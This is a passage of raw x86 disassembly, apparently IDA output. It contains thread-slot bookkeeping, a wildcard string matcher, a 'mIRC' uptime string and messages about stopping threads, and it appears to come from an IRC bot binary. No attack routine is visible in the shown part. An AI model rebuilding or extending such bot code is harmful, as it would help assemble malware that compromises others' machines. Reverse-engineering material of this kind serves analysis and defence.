		mov	[ebp-4], edx


loc_40AE11:				; CODE XREF: ___:0040AE0Cj
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40AE0A
		push	61h
		pop	ecx


loc_40AE1A:				; CODE XREF: ___:0040AE25j
		cmp	eax, ecx
		jnz	short loc_40AE21
		mov	[ebp-4], edx


loc_40AE21:				; CODE XREF: ___:0040AE1Cj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AE1A
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_429098, esi
		jle	short loc_40AE66


loc_40AE40:				; CODE XREF: ___:0040AE64j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42BB54
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AE40


loc_40AE66:				; CODE XREF: ___:0040AE3Ej
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	near ptr 26B07C3h
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 26F0000h
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_43193C
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AEDB


loc_40AEB5:				; CODE XREF: ___:0040AED9j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42BB54
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AEB5


loc_40AEDB:				; CODE XREF: ___:0040AEB3j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset dword_43D7F8
		mov	dword ptr [ebp-94h], 94h
		call	near ptr 2700000h
		nop
		nop
		call	near ptr 26B07C3h
		push	eax
		call	sub_41B8D8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AF65
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF45
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AF35
		mov	esi, offset dword_431964


loc_40AF35:				; CODE XREF: ___:0040AF2Ej
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AFA1
		mov	esi, offset dword_431960
		jmp	short loc_40AFA1
; ---------------------------------------------------------------------------


loc_40AF45:				; CODE XREF: ___:0040AF25j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AF55
		mov	esi, offset dword_43195C
		jmp	short loc_40AFA1
; ---------------------------------------------------------------------------


loc_40AF55:				; CODE XREF: ___:0040AF4Cj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AF9C
		mov	esi, offset dword_431958
		jmp	short loc_40AFA1
; ---------------------------------------------------------------------------


loc_40AF65:				; CODE XREF: ___:0040AF1Cj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AF9C
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF7E
		mov	esi, offset dword_431954
		jmp	short loc_40AFA1
; ---------------------------------------------------------------------------


loc_40AF7E:				; CODE XREF: ___:0040AF75j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AF8E
		mov	esi, offset dword_431950
		jmp	short loc_40AFA1
; ---------------------------------------------------------------------------


loc_40AF8E:				; CODE XREF: ___:0040AF85j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_43194C
		jz	short loc_40AFA1


loc_40AF9C:				; CODE XREF: ___:0040AF5Cj
					; ___:0040AF6Cj
		mov	esi, offset dword_431948


loc_40AFA1:				; CODE XREF: ___:0040AF3Cj
					; ___:0040AF43j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_431940
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AFE5


loc_40AFBF:				; CODE XREF: ___:0040AFE3j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42BB54
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AFBF


loc_40AFE5:				; CODE XREF: ___:0040AFBDj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AFEB	proc near		; CODE XREF: sub_40B08E+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	near ptr 26B07C3h
		nop
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40B03A
		call	dword_4CB650
		test	eax, eax
		mov	eax, offset off_431970
		jnz	short loc_40B023
		mov	eax, offset dword_43D7F8


loc_40B023:				; CODE XREF: sub_40AFEB+31j
		push	eax
		push	esi
		push	offset dword_431968
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40B05A
; ---------------------------------------------------------------------------


loc_40B03A:				; CODE XREF: sub_40AFEB+22j
		call	dword_4CB650
		test	eax, eax
		mov	eax, offset off_431970
		jnz	short loc_40B04E
		mov	eax, offset dword_43D7F8


loc_40B04E:				; CODE XREF: sub_40AFEB+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40B05A:				; CODE XREF: sub_40AFEB+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41AFE0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40B089
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41C1E0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 18h


loc_40B089:				; CODE XREF: sub_40AFEB+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40AFEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B08E	proc near		; CODE XREF: sub_4017ED+7Fp
					; sub_401955+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42DC74


loc_40B09A:				; CODE XREF: sub_40B08E+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40B0B5
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41C070
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B0BF
; ---------------------------------------------------------------------------


loc_40B0B5:				; CODE XREF: sub_40B08E+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40B0BF:				; CODE XREF: sub_40B08E+25j
		test	eax, eax
		jnz	short loc_40B0D1
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_42DCEC
		jb	short loc_40B09A
		jmp	short loc_40B0DF
; ---------------------------------------------------------------------------


loc_40B0D1:				; CODE XREF: sub_40B08E+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_42DC78[eax*4]
		pop	ecx


loc_40B0DF:				; CODE XREF: sub_40B08E+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40B0F2
		push	[ebp+arg_0]
		call	sub_40AFEB
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40B0F2:				; CODE XREF: sub_40B08E+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40B08E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B0F7	proc near		; CODE XREF: ___:00401599p
					; ___:004015D8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43E380


loc_40B0FF:				; CODE XREF: sub_40B0F7+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B113
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CB380
		jl	short loc_40B0FF
		jmp	short loc_40B15E
; ---------------------------------------------------------------------------


loc_40B113:				; CODE XREF: sub_40B0F7+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43E380[esi]
		push	eax
		call	sub_41B5F0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43E580[esi], eax
		and	dword_43E584[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43E588[esi], 0
		mov	dword_43E58C[esi], eax
		and	byte_43E598[esi], 0
		pop	esi


loc_40B15E:				; CODE XREF: sub_40B0F7+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B0F7	endp

; ---------------------------------------------------------------------------
word_40B162	dw 8B55h		; DATA XREF: sub_401ACD+298Ao
		dd 98EC81ECh, 8B000000h, 57560845h, 8B59266Ah, 68BD8DF0h
		dd 0F3FFFFFFh, 0F075FFA5h, 9480C7h, 10000h, 858D0000h
		dd 0FFFFFF6Ch, 50F475FFh, 0FF68B5FFh, 15E8FFFFh, 0FF000000h
		dd 6CE8EC75h, 83000002h, 6A14C4h, 2F5978E8h, 5E5F9002h
		dd 81EC8B55h, 200ECh, 6A575600h, 1075FF00h, 431A7068h
		dd 0C75FF00h, 0E80875FFh, 0FFFFE89Fh, 3314C483h, 0E380BEFFh
		dd 3E800043h, 833C7400h, 7500147Dh, 4BE8309h, 2, 57562D75h
		dd 0FE00858Dh, 7C68FFFFh, 500042C8h, 10681E8h, 8D016A00h
		dd 0FFFE0085h, 1075FFFFh, 0C75FF50h, 0E80875FFh, 0FFFFE857h
		dd 8124C483h, 234C6h, 0FE814700h, 4CB380h, 5E5FB07Ch
; ---------------------------------------------------------------------------
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B232	proc near		; CODE XREF: sub_401ACD+7BA5p
					; sub_40B2C0+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B2BA
		cmp	esi, 400h
		jge	short loc_40B2BA
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43E594[esi]
		lea	edi, dword_43E594[esi]
		call	near ptr 26B0861h
		nop
		cmp	[edi], ebx
		jz	short loc_40B26A
		push	1
		pop	ebp


loc_40B26A:				; CODE XREF: sub_40B232+33j
		mov	[edi], ebx
		lea	edi, dword_43E588[esi]
		mov	dword_43E580[esi], ebx
		mov	dword_43E584[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B28B
		push	eax
		call	sub_4199CA
		pop	ecx


loc_40B28B:				; CODE XREF: sub_40B232+50j
		mov	[edi], ebx
		lea	edi, dword_43E58C[esi]
		mov	byte ptr dword_43E380[esi], bl
		mov	byte_43E598[esi], bl
		push	dword ptr [edi]
		call	dword_4CB6DC
		lea	esi, dword_43E590[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4CB6DC
		mov	[esi], ebx
		pop	edi


loc_40B2BA:				; CODE XREF: sub_40B232+Dj
					; sub_40B232+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B232	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B2C0	proc near		; CODE XREF: sub_40111D+18p
					; ___:loc_4017D9p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43E380


loc_40B2CC:				; CODE XREF: sub_40B2C0+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B2DD
		push	edi
		call	sub_40B232
		test	eax, eax
		pop	ecx
		jz	short loc_40B2DD
		inc	ebx


loc_40B2DD:				; CODE XREF: sub_40B2C0+Fj
					; sub_40B2C0+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CB380
		jl	short loc_40B2CC
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B2C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2F2	proc near		; CODE XREF: sub_401ACD+418Fp
					; sub_401ACD+42E1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43E584


loc_40B306:				; CODE XREF: sub_40B2F2+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B328
		test	edi, edi
		jle	short loc_40B31A
		cmp	[esi], edi
		jz	short loc_40B31A
		cmp	ebx, edi
		jnz	short loc_40B328


loc_40B31A:				; CODE XREF: sub_40B2F2+1Ej
					; sub_40B2F2+22j
		push	ebx
		call	sub_40B232
		test	eax, eax
		pop	ecx
		jz	short loc_40B328
		inc	[ebp+var_4]


loc_40B328:				; CODE XREF: sub_40B2F2+1Aj
					; sub_40B2F2+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CB584
		jl	short loc_40B306
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B2F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B33F	proc near		; CODE XREF: ___:00401630p
					; sub_401ACD+97Ap ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43E580


loc_40B346:				; CODE XREF: sub_40B33F+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B34F
		inc	eax


loc_40B34F:				; CODE XREF: sub_40B33F+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CB580
		jl	short loc_40B346
		retn
sub_40B33F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B35E	proc near		; CODE XREF: sub_401ACD+2434p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43E580


loc_40B368:				; CODE XREF: sub_40B35E+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B381
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CB580
		jl	short loc_40B368
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B381:				; CODE XREF: sub_40B35E+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B35E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B385	proc near		; CODE XREF: sub_401ACD+1067p
					; sub_401ACD+126Dp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B39E
		push	[ebp+arg_1C]
		call	sub_41B779
		pop	ecx


loc_40B39E:				; CODE XREF: sub_40B385+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B2F2
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B3CA
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40B3E4
; ---------------------------------------------------------------------------


loc_40B3CA:				; CODE XREF: sub_40B385+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41B886
		add	esp, 10h


loc_40B3E4:				; CODE XREF: sub_40B385+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B404
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_40B404:				; CODE XREF: sub_40B385+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AD
		pop	ecx
		leave
		retn
sub_40B385	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B413	proc near		; CODE XREF: sub_4017ED+159p
					; ___:0040BA48p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43E594[eax], ecx
		mov	dword_43E580[eax], ecx
		mov	dword_43E584[eax], ecx
		mov	dword_43E588[eax], ecx
		mov	dword_43E58C[eax], ecx
		mov	dword_43E590[eax], ecx
		mov	byte ptr dword_43E380[eax], cl
		mov	byte_43E598[eax], cl
		retn
sub_40B413	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B450	proc near		; CODE XREF: sub_401ACD+7E3Cp
					; sub_40B57E+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_40B45A:				; CODE XREF: sub_40B450+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B4BA
		cmp	eax, 1
		jnz	short loc_40B4BA
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B4BA
		cmp	cl, 2Ah
		jz	short loc_40B4A1
		cmp	cl, 3Fh
		jz	short loc_40B484
		cmp	cl, 5Bh
		jz	short loc_40B489
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_40B484:				; CODE XREF: sub_40B450+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B4B4
; ---------------------------------------------------------------------------


loc_40B489:				; CODE XREF: sub_40B450+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B4E6
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B4B4
; ---------------------------------------------------------------------------


loc_40B4A1:				; CODE XREF: sub_40B450+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B57E
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_40B4B4:				; CODE XREF: sub_40B450+37j
					; sub_40B450+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B45A
; ---------------------------------------------------------------------------


loc_40B4BA:				; CODE XREF: sub_40B450+Ej
					; sub_40B450+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B4CA
		cmp	eax, 1
		jnz	short loc_40B4E1
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B4BA
; ---------------------------------------------------------------------------


loc_40B4CA:				; CODE XREF: sub_40B450+6Dj
		cmp	eax, 1
		jnz	short loc_40B4E1
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B4E1
		cmp	byte ptr [esi],	0
		jnz	short loc_40B4E1
		push	1
		pop	eax
		jmp	short loc_40B4E3
; ---------------------------------------------------------------------------


loc_40B4E1:				; CODE XREF: sub_40B450+72j
					; sub_40B450+7Dj ...
		xor	eax, eax


loc_40B4E3:				; CODE XREF: sub_40B450+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B450	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B4E6	proc near		; CODE XREF: sub_40B450+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B507
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40B507:				; CODE XREF: sub_40B4E6+19j
		push	ebx
		push	esi


loc_40B509:				; CODE XREF: sub_40B4E6+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B517
		cmp	[ebp+var_4], eax
		jnz	short loc_40B563


loc_40B517:				; CODE XREF: sub_40B4E6+2Aj
		test	edi, edi
		jnz	short loc_40B558
		cmp	bl, 2Dh
		jnz	short loc_40B54C
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B54C
		cmp	al, 5Dh
		jz	short loc_40B54C
		cmp	[ebp+var_4], edi
		jnz	short loc_40B54C
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B558
		cmp	bl, al
		jg	short loc_40B558
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B558
; ---------------------------------------------------------------------------


loc_40B54C:				; CODE XREF: sub_40B4E6+38j
					; sub_40B4E6+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B558
		push	1
		pop	edi


loc_40B558:				; CODE XREF: sub_40B4E6+33j
					; sub_40B4E6+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B509
; ---------------------------------------------------------------------------


loc_40B563:				; CODE XREF: sub_40B4E6+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B570
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40B570:				; CODE XREF: sub_40B4E6+82j
		cmp	edi, eax
		jnz	short loc_40B579
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40B579:				; CODE XREF: sub_40B4E6+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B4E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B57E	proc near		; CODE XREF: sub_40B450+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_40B59A:				; CODE XREF: sub_40B57E+3Aj
		cmp	[eax], bl
		jz	short loc_40B5BA
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B5AF
		cmp	cl, 2Ah
		jnz	short loc_40B5BA
		cmp	cl, 3Fh
		jnz	short loc_40B5B2


loc_40B5AF:				; CODE XREF: sub_40B57E+25j
		inc	eax
		mov	[edi], eax


loc_40B5B2:				; CODE XREF: sub_40B57E+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B59A
; ---------------------------------------------------------------------------


loc_40B5BA:				; CODE XREF: sub_40B57E+1Ej
					; sub_40B57E+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B5C5
		inc	dword ptr [esi]
		jmp	short loc_40B5BA
; ---------------------------------------------------------------------------


loc_40B5C5:				; CODE XREF: sub_40B57E+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B5E6
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B5D7
		xor	eax, eax
		jmp	short loc_40B646
; ---------------------------------------------------------------------------


loc_40B5D7:				; CODE XREF: sub_40B57E+53j
		cmp	cl, bl
		jnz	short loc_40B5E6
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B5E6
		push	1
		pop	eax
		jmp	short loc_40B646
; ---------------------------------------------------------------------------


loc_40B5E6:				; CODE XREF: sub_40B57E+4Dj
					; sub_40B57E+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B450
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B630


loc_40B5F4:				; CODE XREF: sub_40B57E+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_40B5F8:				; CODE XREF: sub_40B57E+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B610
		cmp	cl, 5Bh
		jz	short loc_40B610
		cmp	dl, bl
		jz	short loc_40B610
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B5F8
; ---------------------------------------------------------------------------


loc_40B610:				; CODE XREF: sub_40B57E+82j
					; sub_40B57E+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B627
		push	eax
		push	dword ptr [esi]
		call	sub_40B450
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B62C
; ---------------------------------------------------------------------------


loc_40B627:				; CODE XREF: sub_40B57E+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40B62C:				; CODE XREF: sub_40B57E+A7j
		cmp	eax, ebx
		jnz	short loc_40B5F4


loc_40B630:				; CODE XREF: sub_40B57E+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B643
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B643
		mov	[ebp+var_4], 1


loc_40B643:				; CODE XREF: sub_40B57E+B6j
					; sub_40B57E+BCj
		mov	eax, [ebp+var_4]


loc_40B646:				; CODE XREF: sub_40B57E+57j
					; sub_40B57E+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B57E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B64B	proc near		; CODE XREF: sub_401ACD+2AF6p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_431E8C
		push	eax
		xor	ebx, ebx
		call	sub_41B886
		cmp	dword_431AF0, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B6BD
		push	esi
		mov	esi, offset dword_431AF8


loc_40B67E:				; CODE XREF: sub_40B64B+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B6B3
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_431E80
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		add	esp, 1Ch


loc_40B6B3:				; CODE XREF: sub_40B64B+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B67E
		pop	esi


loc_40B6BD:				; CODE XREF: sub_40B64B+2Bj
		push	dword_4CB384
		call	sub_41A88C
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AD
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B64B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B71A	proc near		; CODE XREF: sub_401ACD+2AE0p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4CE150
		mov	ecx, dword_4CE14C
		push	esi
		push	dword_4CB384
		lea	esi, [ecx+eax]
		call	sub_41A88C
		pop	ecx
		push	eax
		push	esi
		push	dword_4CE150
		lea	eax, [ebp+var_200]
		push	dword_4CE14C
		push	offset unk_431EAC
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_200]
		push	eax
